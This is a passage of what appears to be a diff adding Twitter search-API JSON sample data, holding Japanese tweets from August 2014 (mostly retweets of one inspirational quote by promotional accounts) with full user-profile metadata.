+ "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:00 +0000 2014", + "id": 505874862397591550, + "id_str": "505874862397591552", + "text": "@kaoritoxx そうよ!あたしはそう思うようにしておる。いま職場一やけとる気がする(°_°)!満喫幸せ焼け!!wあー、なるほどね!毎回そうだよね!ティアラちゃんみにいってるもんね♡五月と九月恐ろしい、、、\nハリポタエリアはいった??", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": 505838547308277760, + "in_reply_to_status_id_str": "505838547308277761", + "in_reply_to_user_id": 796000214, + "in_reply_to_user_id_str": "796000214", + "in_reply_to_screen_name": "kaoritoxx", + "user": { + "id": 2256249487, + "id_str": "2256249487", + "name": "はあちゃん@海賊同盟中", + "screen_name": "onepiece_24", + "location": "どえすえろぉたんの助手兼ね妹(願望)", + "description": "ONE PIECE愛しすぎて今年23ちゃい(歴14年目)ゾロ様に一途だったのにロー、このやろー。ロビンちゃんが幸せになればいい。ルフィは無条件にすき。ゾロビン、ローロビ、ルロビ♡usj、声優さん、コナン、進撃、クレしん、H x Hも好き♩", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 415, + "friends_count": 384, + "listed_count": 3, + "created_at": "Sat Dec 21 09:37:25 +0000 2013", + "favourites_count": 1603, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 9636, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501686340564418561/hMQFN4vD_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501686340564418561/hMQFN4vD_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2256249487/1399987924", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "kaoritoxx", + "name": "かおちゃん", + "id": 796000214, + "id_str": "796000214", + "indices": [ + 0, + 10 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:00 +0000 2014", + "id": 505874861973991400, + "id_str": "505874861973991424", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "恋愛仙人", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2698885082, + "id_str": "2698885082", + "name": "恋愛仙人", + "screen_name": "renai_sennin", + "location": "", + "description": "豊富でステキな恋愛経験を、シェアしましょう。\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 618, + "friends_count": 1847, + "listed_count": 1, + "created_at": "Fri Aug 01 18:09:38 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 726, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495272204641132544/GNA18aOg_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495272204641132544/GNA18aOg_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2698885082/1406917096", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:00 +0000 2014", + "id": 505874861881700350, + "id_str": "505874861881700353", + "text": "@itsukibot_ 一稀の俺のソーセージをペロペロする音はデカイ", + "source": "jigtwi", + "truncated": false, + "in_reply_to_status_id": 505871017428795400, + "in_reply_to_status_id_str": "505871017428795392", + "in_reply_to_user_id": 141170845, + "in_reply_to_user_id_str": "141170845", + "in_reply_to_screen_name": "itsukibot_", + "user": { + "id": 2184752048, + "id_str": "2184752048", + "name": "アンドー", + "screen_name": "55dakedayo", + "location": "", + "description": "", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 15, + "friends_count": 24, + "listed_count": 0, + "created_at": "Sat Nov 09 17:42:22 +0000 2013", + "favourites_count": 37249, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 21070, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://abs.twimg.com/sticky/default_profile_images/default_profile_3_normal.png", + "profile_image_url_https": "https://abs.twimg.com/sticky/default_profile_images/default_profile_3_normal.png", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": true, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "itsukibot_", + "name": "前田一稀", + "id": 141170845, + "id_str": "141170845", + "indices": [ + 0, + 11 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:00 +0000 2014", + "id": 505874861185437700, + "id_str": "505874861185437697", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "あの伝説の名ドラマ&名場面", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2706951979, + "id_str": "2706951979", + "name": "あの伝説の名ドラマ&名場面", + "screen_name": "densetunodorama", + "location": "", + "description": "誰にでも記憶に残る、ドラマの名場面があると思います。そんな感動のストーリーを、もう一度わかちあいたいです。\r\n「これ知ってる!」とか「あ~懐かしい」と思ったら RT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 300, + "friends_count": 1886, + "listed_count": 0, + "created_at": "Mon Aug 04 16:38:25 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 694, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496335892152209408/fKzb8Nv3_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496335892152209408/fKzb8Nv3_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2706951979/1407170704", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:00 +0000 2014", + "id": 505874860447260700, + "id_str": "505874860447260672", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "マジで食べたい♥ケーキ特集", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2724328646, + "id_str": "2724328646", + "name": "マジで食べたい♥ケーキ特集", + "screen_name": "tabetaicake1", + "location": "", + "description": "女性の目線から見た、美味しそうなケーキを探し求めています。\r\n見てるだけで、あれもコレも食べたくなっちゃう♪\r\n美味しそうだと思ったら、是非 RT & フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 158, + "friends_count": 1907, + "listed_count": 0, + "created_at": "Mon Aug 11 17:15:22 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 493, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498881289844293632/DAa9No9M_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498881289844293632/DAa9No9M_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2724328646/1407777704", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:59 +0000 2014", + "id": 505874859662925800, + "id_str": "505874859662925824", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "アディダス★マニア", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2704003662, + "id_str": "2704003662", + "name": "アディダス★マニア", + "screen_name": "adi_mania11", + "location": "", + "description": "素敵なアディダスのアイテムを見つけたいです♪\r\n気に入ってもらえたららRT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 340, + "friends_count": 1851, + "listed_count": 0, + "created_at": "Sun Aug 03 12:26:37 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 734, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495911561781727235/06QAMVrR_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495911561781727235/06QAMVrR_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2704003662/1407069046", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:59 +0000 2014", + "id": 505874858920513540, + "id_str": "505874858920513537", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "萌えペット大好き", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2719061228, + "id_str": "2719061228", + "name": "萌えペット大好き", + "screen_name": "moe_pet1", + "location": "", + "description": "かわいいペットを見るのが趣味です♥そんな私と一緒にいやされたい人いませんか?かわいいと思ったら RT & フォローもお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 289, + "friends_count": 1812, + "listed_count": 0, + "created_at": "Sat Aug 09 10:20:25 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 632, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498051549537386496/QizThq7N_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498051549537386496/QizThq7N_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2719061228/1407581287", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, 